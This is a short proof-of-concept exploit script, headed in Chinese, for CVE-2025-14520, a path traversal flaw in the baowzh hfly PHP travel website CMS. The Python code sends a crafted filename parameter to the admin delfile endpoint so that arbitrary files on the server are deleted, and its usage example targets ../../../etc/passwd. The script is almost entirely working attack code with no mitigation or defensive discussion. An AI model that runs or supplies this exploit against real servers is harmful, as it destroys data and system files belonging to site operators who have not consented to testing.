CVE-2025-14520 baowzh hfly 路径遍历漏洞导致任意文件删除

import requests import sys # CVE-2025-14520 PoC - Path Traversal leading to Arbitrary File Delete # Target: baowzh hfly PHP travel website CMS # Endpoint: /admin/index.php/datafile/delfile def exploit(target_url, filename, cookies=None): """ Exploit path traversal in delfile endpoint Args: target_url: Base URL of the vulnerable application filename: Path traversal payload (e.g., ../../../etc/passwd) cookies: Session cookies for authentication """ endpoint = f"{target_url}/admin/index.php/datafile/delfile" params = { 'filename': filename } try: response = requests.get(endpoint, params=params, cookies=cookies, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14520.py <target_url> ") print("Example: python cve-2025-14520.py http://target.com ../../../etc/passwd") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] print(f"[*] Target: {target}") print(f"[*] Payload: {payload}") print(f"[*] Exploiting CVE-2025-14520...") status, response = exploit(target, payload) if status: print(f"[+] Response Status: {status}") print(f"[+] Response: {response[:500]}")